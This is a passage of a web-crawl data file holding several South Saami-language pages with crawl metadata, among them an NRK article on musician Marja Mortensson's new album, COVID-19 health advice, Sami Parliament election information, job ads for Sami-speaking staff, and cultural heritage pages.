lea orkestere edtja eevre reaktoelaakan tjoejehtidh. Mov gïelem maehtebe gujht aaj dïsse bïejedh mænngan, jis daerpies, Marja soptseste.\nAkte baakoe dirigenteste govloe: «Tutti!»\nMarja lea lïereme dellie gaajhkesh dovnesh edtjieh meatan årrodh, aaj laavloje.\nMarja vihkeles artiste\nMarjese hijven orreme Daniel Herskedalem meatan utnedh barkosne. Dïhte lea musihkem öörnedamme maam daelie sïjse tjoejehtieh KORK:ine ektine. Daniel Herskedal akte dejstie laanten bööremes jazzmusihkerijstie vuajnelge, jïh guhkiem dååjrehtimmiem åtna musihkem öörnedidh stuerebe orkesteridie.\nMarja jïh Daniel lea lïhke ektesne barkeme gellie jaepieh, jïh daennie prosjektesne altese barkoe orreme jarngem gaavnedh dan sisnie maam Marja sæjhta soptsestidh. Dïhte tjuara dam tjaebpie åadtjodh bielelen vihkelesvoetem jïh intimiteeten dan sisnie dassedh.\n– Marja mannem meatan vaalteme leekedæmman jïh mïerhkesjæmman, Daniel soptseste. Dïhte daaroe jïh ajve såemies gille baakoeh saemiengïelesne maahta, men damta satne aaj Marjan musihkem buerebelaakan guarkoe mænngan meatan orreme dennie kultuvresne mestie Marja båata.\nAelhkie Daniel Herskedalen ïedtjem govledh gosse sïjsespealadimmien bïjre plaateste soptseste mejnie daelie gïehtelieh.\n–Raaktan vïenhtem Marja daejnie prosjektine maahta gaskenasjonaale ïedtjem gåaskodh, jeahta.\nDaniel soptseste musihkerh jïh orkesterh iktesth pryövoeh orre aath darjodh, jïjtjemse haestedh orre materijelline. Festivaalh ålkoelaantesne aaj ahkedh ij-kommersijelle artisth ohtsedeminie mejtie vienhtieh sijhtieh goltelæjjide jaksedh.\nMaahta govledh dïhte daajra man bïjre soptseste, dïhte guhte guhkiem gïehtelamme goh komponiste, musihkere jïh orkestereöörnedæjja.\n–Marja goh bievnije lea veaksehke, men daate laavenjostoe KORK:ine maahta varke oksem rïhpestidh orre goltelæjjide, Daniel Herskedal jeahta.\nAehtj-aahka daajra, men ij mejtegh jiehtieh\nMarja Mortensson lea guhkiem sïjhteme soptsestidh guktie saemieh åvtesne veasoejin, jïh daan vearhkan lea veeljeme soptsesh jïjtse hïejmedajvijste soptsestidh.\nAehtj-aahka mij dan gellie soptsesh Marjese soptsestamme, daajra musihke maam daelie sïjse tjoejehtieh, sov jieledem våaroeminie åtna.\nMarja Mortensson\nSïejhme saemien lea stïeresne årrodh, men ij leah gujht daerpies maam joem lahtestidh mænngan.\n–Aehtj-aahka iktesth mov teeksth låhka, men ij dan jïjnjem jiehtieh. Dah båarasåbpoeh daamtajommes eah dam darjoeh, Marja föörhkede. Mov toelhkestimmie daejstie soptsesijstie musihkine sjædta, jïh dellie daate mov vuekie dejtie guhkiebasse soptsestidh, lissehte.\nMarjan aahkah pruvhkieh altese konsertine mïnnedh gosse dej lea nuepie. Dïhte daajra dah leah geerjene satne gïelem nuhtjie jïh ij goh unnemes gïelem eadtjohkelaakan nuhtjie.\nJïjtje Marja gegkeste dah domtoeh goh meatan altese musihkesne, dah daejrieh satne dejtie ussjede goh akte bielie prosesseste.\nIj daase gohtjedamme, men mij akt joekoen vihkele\nMarja Mortensson lea akte ovrehte 600 saemijste mah åarjelsaemien soptsestieh.\nMaarja lea jueriedisnie mejtie edtja jiehtedh daate ovgoh satne lea dïsse gohtjesovveme. Men dam gujht daajra, dïhte sæjhta dej noere åarjelsaemiej gaskem årrodh mah leah meatan ietniengïelem orrestidh. Jïh veanhta musihke maam jïjtje dorje, lea meatan dam dorje.\n–Orrestimmien jïh evtiedimmien gaavhtan gïele daanbeajjetje siebriedahkesne sjeahta, jïh evtiesåvva sijjeste åajaldovvedh, Marja meala.\nEensi kicke!\nSïjsespealadimmiebiejjie lea nåhkeme, jïh dovne artiste jïh musihkerh Store studiom laehpieh. Göökte vuelieh sïjse spealadamme. Annje govhte aajmene.\nMarja Mortensson\nMuvhten aejkien lastoem åadtjoem ånnetji stååkedidh mov gïeline – ajve såemies tjoejenassh darjodh jallh ånnetji joejkestidh dogkh daagkh.\nMarja tuhtjie biejjie joekoen varke vaaseme, jïh sïjsespealadimmie joekoen hijvenlaakan jåhteme.\n–Damtim eensi kickem daan biejjien, soptseste.\nDïhte daam buerkeste goh mij akt stoerre jïh vihkele, jïh njaelkie domtoe sov musihkem govledh dan stoerre hammosne.\nDaelie Marja ebresne tjåådtje tjeehpes paraplyjen nuelesne. Akte onne tjïektjemesygkele vïedtjen vööste nahtedeminie, vuertieminie Marjam gåatan skovhtedh.\n–Sæjhta sån ånnetji vaasedh åvtelen gaajhkem eensilaakan guarkam, men manne dan joekoen madtjele, jeahta.\nDïhte onne nyjsene dejnie stoerre gïeline tjïektjemesygkelem vaalta, feejjene saevehte jïh gåvnahtahta.\n– Voejnesibie!","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.nrk.no\/sapmi\/marja-mortensson-aahkan-soptsesh-soptseste-orre-plaatesne-1.15220478","date":"2021-01-20T07:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703519923.26\/warc\/CC-MAIN-20210120054203-20210120084203-00305.warc.gz","language":"sma","language_score":0.9999912977,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999912977218628}","num_words":850,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 23 november 2020\nVeeljeme Saemiedægkan suehpeden 16. b. 2021\nDaesnie bïevnesh dutnjien gie tjaatsestimmiereaktam åtnah jïh edtjh tjaatsestidh veeljemisnie Saemiedægkan suehpeden 16.b. 2021.\nGie åådtje tjaatsestidh?\nGaajhkh gïeh tjaatsestimmiereaktam veeljemisnie utnieh jïh veeljemelåhkosne meatan maehtieh tjaatsestidh.\nTjaatsestimmiekåarhte\nTjaatsestimmiekåarhte jïh materijaalh seedtebe medtie 30 biejjieh veeljemebiejjien åvteli.\nNaemhtie maahtah tjaatsestidh\nDatne gie tjaatsestimmiereaktam åtna maahtah göökte vuekine tjaatsestidh. Maahtah veeljemesijjesne tjaatsestidh vuj prievine tjaatsestidh.\nKrirriem jïh persovnem tjaatsestidh\nDatne maahtah veeljedh jis ajve krirriem tjaatsestidh vuj aaj persovnem tjaatsestidh.\nDåehkieh, krirrieh jïh plearoeh aktanimmieh\nBïevnesh dutnjien gie meatan dåehkie, krirrie jallh plearoeh aktanimmie jïh edtjh meatan veeljemisnie årrodh Saemiedægkan suehpeden 16.b. 2021.\nTjaatsestimmieh ryöknedh jïh veeljemen illedahkem\nDaesnie åadtjoeh vielie daejredh guktie tjaatsestimmieh ryöknedh, mandaath juekedh jïh guktie lïhtsegh jïh sæjjasadtjh nommedehtedh.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/veeljeme-saemiedaegkan-suehpeden-16.-b.-2021.html","date":"2021-04-23T01:33:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039626288.96\/warc\/CC-MAIN-20210423011010-20210423041010-00211.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":115,"character_repetition_ratio":0.133,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Alfrede tjuara reegkes gïeline lohkedh\nTjoejegærja gærjeste Alfred skal lese høyt, åarjelsaemiengïelesne.\nTjoejegærja gærjeste Alfrede tjuara reegkes gïeline lohkedh. Mahte gaajhke dovne isveligs, Alfrede tuhtjie. Gaaje isveligs reegkes-gïeline klaassen uvte plaavefaalan bïjre soptsestidh. Dïhte edtja dam darjodh båetien bearjadahken. Men gosse Alfrede jïjnje jïjnjebem plaavefaalan bïjre leara, dellie mavvasåbpoe sjædta. Åse Klemmetsen gærjam jarkoestamme jïh Lene Cecilia Sparrok tjoejegærjam lohkeme.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/ovttas.no\/sma\/jietna_alfrede-tjuara-reegkes-gieline-lohkedh","date":"2021-04-16T16:17:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038088245.37\/warc\/CC-MAIN-20210416161217-20210416191217-00307.warc.gz","language":"sma","language_score":0.9998573065,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998573064804077}","num_words":60,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Påaskeqviz Psst! Diedth gåvvan, jis sïjhth stuerebe guvviem vuejnedh! Maam snjågloeh heevehtieh? Jåvlem Påaskem Halloweenem Mij klaeride lopmedoenehkh guvvesne utnieh? Rööpses jïh viskes Plaave jïh kruana Rööpses jïh provne Man gellie snjågloeh gååvnese guvvesne? Göökte Njieljie Govhte Maam snjågloe gaerpienisnie åtna? Gaahtoem Måvhkide Prïhtjhgiebniem Välj annat quiz Rätta quizet","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/polarbibblo.se\/spela\/vara-quiz\/paaskeqviz\/","date":"2021-04-18T16:47:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038507477.62\/warc\/CC-MAIN-20210418163541-20210418193541-00125.warc.gz","language":"sma","language_score":0.9998683929,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998683929443359}","num_words":49,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\n5 maj: Nu kan du som är född 1966 eller tidigare boka tid för vaccination på någon av vaccinationsmottagningarna runt om i länet. Läs mer om hur du bokar här.\nCovid-19 vijrusen gaavhtan jeenjemes almetjh gïeh covid-19:m åadtjoeh skïemtjedieh goh sovhtine. Muvhth almetjh itjmies skïemtjes sjidtieh jïh hoksem skïemtjegåetesne daarpesjieh.\nDïhte daarpesje teestem juktie daajra jis dov lea skïemtjelasse covid-19. Teste lea seamma goh pryövenasse. Vedtieh pryövenassem jis symptomh åtnah.\nDaesnie raerieh dutnjien gie skïemtjelassem covid-19 åtnah. Raerieh dutnjien gie maahtah gåetesne årrodh jïh ih hoksem skïemtjegåetesne daarpesjh.\nBïeljelh hoksem jïh vïerrebe skïemtjedh.\nCovid-19 lea laantestimmien skïemtjelasse. Vaksijnasjovne lea bööremes vuekieh heerredh guktie ij itjmies skïemtjes sjïdth vuj skïemtjelasseste jaemedh. Vaksijnasjovne maahtah aaj viehkine årrodh guktie geerjehtimmiem covid-19:ste sïebredahkesne vaeniedidh. Dan gaavhtan dïhte dan vihkeles gellie almetjh vaksijnesjovnem veeljieh.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.1177.se\/sma-se\/Stockholm\/other-languages\/other-languages\/covid-19\/","date":"2021-05-05T21:59:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988696.23\/warc\/CC-MAIN-20210505203909-20210505233909-00619.warc.gz","language":"sma","language_score":0.9999005795,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999005794525146}","num_words":138,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Samisktalande förskollärare och modersmålslärare i sydsamiska\nAkte barkoe sijjiem sjïdtemefaamose.\nMijjieh ohtsedibie akte aarhskuvlelohkehtæjja saemiengïelemaahtojne mij ïedtjem maanaj övtiedæmman åtna, akte kombineereme barkose goh aarhskuvlelohkehtæjja saemienmaahtojne Vikebo aarhskuvlesne jïh ietniegïelelohkehtæjja Valsjövoenen skuvlesne.\nKrokomen tjïelte lea saemien reeremedajve jïh naemhtie juktie gaajhkide skuvlide jïh aarhskuvlide akte sjïere barkoem utnieh saemiengïelem jïh kultuvrem vuesiehtidh.\nAkte biejjie Vikebo aarhskuvlesne jïh Valsjövoenen skuvlesne.\nMedtie 10 mïjlh Krokomijste, Rötvïjhkene gællesje, tjaebpies Hotagenen voenesne. Aarhskuvle Vikebo Rötvïjhkesne lea onne aktese gusnie saemien biehkie lea darjomisnie integreereme. Lijremebaakoeh Vikeboese lea göökte kultuvri seamma vyörtegsvoetine, göökte gïeli seamma vyörtegsvoetine. Naemhtie juktie gåabpegh gïelide parallelle darjoemisnie leah.\nAkte mïjle noerhtene Vikeboen aarhskuvleste Valsjövoenen skuvle gællesje Valjaevrien lïhke. Skuvle medtie 14 learohkh utnieh, aarhskuvleklaasseste gosk govhtede jaepiekuvsjese. Skuvlen lïhke gååvnese tjoevkeselaatege jïh hockeyrinke.\nBarkoem goh aarhskuvlelohkehtæjja Vikebo aarhskuvlesne lea 1-5 jaepien båeries maanajdåehkesne jïh naemhtie juktie datne, barkoevoelpi ektine, dïedtem åtna rååresjæmman jïh barkoem buerie pedagogihke gïehtelimmeste, gusnie såjhtoe, bijjiedimmie jïh lïereme aktesem darjoeh.\nJïjnjemes barkosne lea vuesiehtidh, ööhpehtidh jïh övtiedidh akte maanadåehkie saemiengïeline jïh kultuvresne. Aarhskuvlen learoesoejkesje jïh tjïelten ulmie lea ståvroetjaatsegh mah edtjieh saemien perspektijveste dåeriedidh. Vihkeles fïerhtene maanan sjïere daerpiesvoeth vuejnedh jïh destie darjoem soejkesjidh jeatjah barkoevoelpigujmie barkoedåehkesne. Mijjieh dåehkine barkeminie jïh ulmie lea fïerhtene indivijdem nænnoestidh jïh övtiedidh oktegh jïh dåehkesne.\nÅejviebarkoe barkosne goh ietniegïelelohkehtæjja Valsjövoenen skuvlesne lea learoehkidie rååresjidh, lohkehtidh jïh skreejrehtidh learoehkidie, tjïelten jïh nasjonelle ståvroetjaatsegijstie. Learohki ektine jïh jeatjah almetjigujmie skuvlesne dijjieh skaepiedidie buerie sijjiem lïeremasse jïh maahtoebïhkedæmman.\nDov maahtoe\nMijjieh datnem ohtsedibie mij legitimeereme aarhskuvlelohkehtæjja jallh jeatjah pedagogihke\/ dååjrehtimmieh åtna mij ïedtjesne.\nDatne dååjrehtsem lohkehtimmeste åtna, åarjelsaemiengïele tjaalah jïh soptsesth. Datne aaj daarpesjh saemienkultuvrine åehpies årrodh.\nDatne buerie goerkelimmiem åtnah ihke maanaj daerpiesvoeth guarkedh jïh dejtie dåastoehtidh gusnie ussjedimmesne leah jïh aaj buektiehtidh maanide goltelidh, garmerdehtedh, skreejrehtidh jïh reesedh ihke jåarhkedh övtiedidh. Eadtjaldovveme, ïedtjem jïh goerkelimmiem jeatjah almetjidie tuhtjebe vihkeles dååjrehtimmie pedagåågese.\nDïhte vihkeles ahte datne buerie pedagåågeles lijrehtæjja leah mij lyjhkh lijrehtidh gåabpegh smaave jïh stoerre maanajdåehkieh. Datne tjoerh flexijbele årrodh ussjedimmesne jïh gïehtelimmesne juktie darjoen biejjieh eah sjïere vijjieh dåeredh. Gosse barkoedåehkesne, datne aelhkie åtnah ektiebarkosne barkedh.\nMijjese vihkeles guktie almetje lea.\nBarkoe göökte sijjine, dan gaavhtan lea vuejemekåarhte krïevenasse.\nVår värdegrund\nVårt arbete ska genomsyras av våra värdeord:\nVälkomnande – Här är alla välkomna!\nModig – Vi har mod att anta utmaningar, vi tänker annorlunda och vi vågar fatta beslut.\nNära – Vi är tillgängliga och sätter dem vi är till för i första rummet.\nPålitlig – Vi är professionella, tänker långsiktigt och arbetar hållbart.\nJeatjah bïevnesh\nAnnjebodts barkoe, abpetïjjesne.\nKombineereme barkoe goh aarhskuvlelohkehtæjja Vikebo aarhskuvlesne jïh ietniegïelelohkehtæjja Välsjövoenen skuvlesne (50\/50 jallh goh digkiedimmien tjïrrh, guktie daerpiesvoete lea darjomisnie).\nAalkoe guktie latjkosne, bene minngemes gåessie lohkemejaepie aalka mïetsken 2021.\nMinngemes syökemedaatoe 2021-07-31\nOhtsemebarkoen åvtelen mijjieh nænnoestamme ovmessie ohtsedimmiekanaalh jïh buektemh. Dan gaavhtan ibie sïjhth doekijh edtjieh mijjine gaskesem vaeltedh.\nFackliga företrädare nås via kommunens växel 0640 161 00.\nVi gör plats för din växtkraft!\nI vår kommun ska alla kunna vara med och påverka. Närheten och tryggheten människor emellan skapar förutsättningar för mod, idéer och glädje. Vår vision är att ge plats för växtkraft – för företagare, familjer och för dig som medarbetare. Att jobba i Krokoms kommun innebär stora möjligheter att utvecklas. Vill du växa med oss?\nAnsökan\nSista ansökningsdatum:","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/krokom.se\/jobba-hos-oss\/platsannonser\/2021-05-21-samisktalande-forskollarare-och-modersmalslarare-i-sydsamiska.html","date":"2021-06-22T19:33:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488519735.70\/warc\/CC-MAIN-20210622190124-20210622220124-00169.warc.gz","language":"sma","language_score":0.9999672174,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999672174453735}","num_words":518,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doajvvo – dåajvoe lea teaterestuhtje musihkine teekstigujmie jïh laavlomigujmie dehtie noere artisteste Ronja-Katrin Larsen. Teeksth leah eksistensialismen bïjre, dah bæjjese vaeltieh guktie lea almetjinie årrodh jïh guktie lea orreme maanabaelien byjjenidh dïeves sårkoste jïh jueriedimmeste. Doajvvo – håp er en musikalsk forestilling med tekster og sanger av den unge artisten Ronja-Katrin Larsen. Tekstene er eksistensialistiske, […]\nLaster inn visning.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.snasa.no\/arrangement\/liste\/?shortcode=22ade4a4","date":"2021-10-22T09:39:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585504.90\/warc\/CC-MAIN-20211022084005-20211022114005-00190.warc.gz","language":"sma","language_score":0.9916624427,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9916624426841736}","num_words":56,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Elle Karen Inga Skum jïh leam 20 jaepien båeries. Mov hïejmesijjie lea Guovdageaidnu, mov vaajmoesijjie. Mov ietniengïele lea noerhtesaemien , men pryövem dovne åarjel- jïh julevsaemien lïeredh. Manne dan joekoen aavrehke domtem mij lea dejnie saemien kultuvrine jïh saemien gieline byjjenamme goh akte iemie bielie aarkebiejjeste.\nMahte abpe mov jieledem leam Guovdageaidnusne orreme, gusnie studijespesialiseradimmesne vaadtseme Saemien jåarhkeskuvlesne jïh båatsoeskuvlesne. Men minngemes jaepien leam lohkeme jïh haarjanamme guktie leam persovneles saavrehtæjjine sjïdteme (PT) Oslosne.\nMov lea stoerre ïedtje kultuvrese jïh aerpievuekide. Gaajhkem tjaebpies vaarjelidh maam utnebe. Manne aaj duedtiem, saavremem jïh gaarsjelimmiem lyjhkem, jïh ålkone årrodh eatnamisnie. Eahtsam eatnamisnie årrodh.\nManne joekoen aavrehke domtem mij daam nuepiem åådtjeme, jïh manne raaktan aavodem tsïegline årrodh daan jaepien. Jalhts manne lyjhkem gåetesne årrodh, dellie aavodem bïjre jarkan mïnnedh Nöörjesne. Leam aaj joekoen gijhteles manne åadtjoem bieline årrodh aktede vihkeles barkoste goh saemien tsïegle, manne åadtjoem daajroem saemien kultuvren bïjre geerjehtidh jeatjah noeride.\nNjieljie varke gyhtjelassh:\nMaam darjoeh 10 jaepine?\n10 jaepine leam mån gaervies ööhpehtimmine jïh åådtjeme jïjnjem fealadidh, jïh jïjnjem dååjreme. Gegkestem mov lea akte barkoe mejnie tråjjedem jïh tjaebpies gåetiem åtnam.\nMaam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nTjaa…. Aajmoe sån muana – jis lohkehtæjjah itjmies jïh nåake aajmoe, dagke ij. Men jis hijven aajmoe dellie sån manne aaj maahtam flöörtadidh.\nMah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nHome and Away eevre tjïelke. Eensi såapeopera, sån jeenjesh ussjedieh, men manne dam vuartasjamme mænngan lim 10 jaepien båeries. Ajve tjoerem dam vuartasjidh..\nMaam saemien åahpetjidie datne buaresjh?\nHævvi AILU VALLE! Manne altese gielem eahtsam, man bïjre rappede jïh altese sceneshoweste manne eevre sjåajman sjïdtem. Jïh dïhte aaj dan joekoen veekes. Dïhte ajve \"WOW\"!","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/elle-karen-inga-skum-2\/","date":"2021-10-27T23:38:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588244.55\/warc\/CC-MAIN-20211027212831-20211028002831-00236.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":275,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetien aajhteren dïedte lea vaadtsemegeajnoem sjïekedidh jïh jeatjah maarhke gåetien ålkoelisnie gusnie maahta vaedtsedh. Dïedte lea gusnie tjïelten lea åejvie byjjes sijjesne. Vaadtsemegeajnoe jïh jeatjah maarhke vaedtsejidie gåetien ålkoelisnie galka naemhties-laakan årrodh guktie ij sænitæren dåeriesmoerh destie båetieh. Aaj edtja gåetien aajhtere, sijjen tsiehkiej krööhkeste, geehtedh murries, åvtesbåateme jïh trafihkenjearsoestimmiem evtiedidh.\nGeajnoeh jïh såafoesijjieh, telefovne: 090-16 14 61","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/vaadtsemegeajnoensjiekedimmie.4.333c64e217718860a23119b.html","date":"2021-10-22T02:22:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585450.39\/warc\/CC-MAIN-20211022021705-20211022051705-00588.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":55,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij vaarjelimmievyörtegs saemien gåetie?Bigkeme 1917 mænngan, men læjhkan sveekes jallh sjïere sov baelien. Fotograf: Sametinget Såemies dejstie saemien gåetijste mah leah nuerebe goh 1917 mænngan, leah vaarjelimmievyörtegs. Maahta dejtie jieliemidie, heannadimmide jallh jieledevuekide ektiedidh mah leah sjïere don tïjjese 1917 mænngan. Såemies vuesiehtimmieh maehtieh gååvnesidh mah leah jieliemisnie åtnasovveme, goh leekedimmiegåetieh jallh gueliedåastovh. Dah aaj gååvnesieh dej gåetiej gaskem mah tseegkesovvin mubpien veartenedåaroen mænngan. Noerhte-Romsesne jïh Finnmarhkesne mahte gaajhkh gåetieh buelielin 1944. Dah mah idtjin buelelh aaj sjïere aarvoem utnieh. Naakenh dejstie leah aajnehke vuesiehtimmie guktie gåetieh dåaroen åvtelen vååjnin sijjen voenesne.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/mij-vaarjelimmievyortegs-saemien-gaetie\/","date":"2021-11-30T16:03:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964359037.96\/warc\/CC-MAIN-20211130141247-20211130171247-00103.warc.gz","language":"sma","language_score":0.999994278,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999942779541016}","num_words":88,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hittade inga lediga jobb på sökning: Mijjieh gïetedallijem ohtsedibie. Sök vidare\nNågra andra slumpade jobb:\n- Mijjieh gïetedallijem ohtsedibie- Östersund\nMer beskrivningMijjieh gïetedallijem ohtsedibie\nExperis erbjuder kompetensförsörjning av chefer och specialister via konsultverksamhet, rekrytering och projektlösningar. För att kunna sätta oss in i våra kunders och kandidaters behov har vi fyra specialistområden; Engineering, IT, Executive och Finance, men vi kan även hjälpa till inom exempelvis Sales & Marketing. Genom att kombinera vår branscherfarenhet med vår kunskap om människans potential får vi såväl individer som verksamheter att växa och utvecklas. Experis finns på ett 30-tal orter i Sverige och i mer än 50 länder världen över. Saemiedigkie lea åålmehveeljeme saemien parlameente jïh staaten byjjesfaamoe raejeste 1993. Saemiedigkien laavenjasse lea freemjedh jïh övtiedidh aktem jielije saemiekultuvrem, siebredahke- soejkesjimmesne meatan årrodh barkedh jïh geehtedh saemien daerpiesvoetem gorredidh. DENNA ANNONS ÄR PÅ SAMISKA SOM ÄR ETT AV SVERIGES NATIONELLA SPRÅK. Saemiedigkiej sveerje-, nöörje- jïh såevmesne leah dïedte dan saemien åesieprogramme InterregSápmi:se, dennie Interreg IV A Nordprogrammesne programme-aajkan 2007-2013. Åvtebarkoe jåhta orre saemien åesieprogrammese programme-aajkan 2014-2020.InterregSápmi:sne saemide nuepieh åadtjoeh ektine barkedh krïensi rastah abpe saemie-eatnamisnie jïh övtiedimmieprosjeektide vierhtiedidh freemjedh mejbïjre saemien kultuvrem jïh -jielemidie nännoestidh. Barkoelaavenjassh Barkoelaavenjassine leah åvtebarkoeh orre programme-aajkan, bïevnesh saemien organisasjovnide, siebride, saemiesïjtide jïh aajnealmetjidie dan saemien åesieprogrammen bïjre, gïetedalleme prosjekteohtsedimmijste, gïehtjedimmie jïh vierhtiedimmie prosjektijstie, processeöörneme ektiebarkoe mejgujmie lïhkesdajve jïh nasjovnelle barkijh Svöörje-, Nöörje- jïh Såevmesne. Reeremi barkoeh dan sisnie. Ööhpehtimmie jïh barkoejieleme-dååjrehtsh Mijjieh datnem ohtsedibie gïe akademiske ööhpehtimmiem åtnah ekonomije-, siebredahkemaahtoe- jallh jeatjah adekvate ööhpehtimmesne. Mijjieh utnebe buerie jis datne seamma laavenjassigujmie arebi barkeme. Buerie daajroeh saemien siebredahken jïh kultuvren bïjre lea daerpies. Maahtoe saemien gïelesne lea meerite. B-vuejemeleahpa lea krïebpesje, gåessie barkoen sisnie tjoeverh regjovnedajvesne fealadidh. Mijjieh utnebe hijven jis dov lea dååjrehtsh byjjes-reeremijstie. Dov duekie Datne dïedesvoetesne, tjiehpies jïhïedtje-burrie.Datne edtjh maehtedh buerie-laakan oktemierene barkedh jïh maehtedh buerie gaskesh skaepiedidh. Vihkeles datne eensi-laakan njaelmeldh jïh tjaaleldh maahtah jiehtedh maam sïjhth. Mijjieh utnebe vihkeles dov aajne-almetjen jïjtjevoetigujmie. Barkoesijjie Giron, jallh maehtebe soptsestalledh jisjeatja sijjie sjeahta såemies dejstie lihkesdajve-kontovrijste Jåhkåmåhkke, Dearna jallh Staare Govlehtallije Syökh experis.se (bïevnesenr: 888265) Jis jienebh bïevnesh sïjhth, maahtah rekryteringekonsulte Maria Josefsson gaskesadtedh 070 853 44 32. Ohtsedh varki, minngemes mïetsken 25b. ( Semester och åter i tjänst v 32)\nFöretag: Experis Sverige\nOrt: Östersund\nPublicerad : 07-08\nSök fler jobb liknande: lediga Mijjieh gïetedallijem ohtsedibie jobb\nTillbaka till listan\nKlicka här och sök jobb som: Mijjieh gïetedallijem ohtsedibie\nSöka jobb tips","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.jobblediga.se\/Mijjieh-g%C3%AFetedallijem-ohtsedibie.html","date":"2021-12-03T01:39:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362571.17\/warc\/CC-MAIN-20211203000401-20211203030401-00272.warc.gz","language":"sma","language_score":0.9996882677,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996882677078247}","num_words":380,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne aajhtere 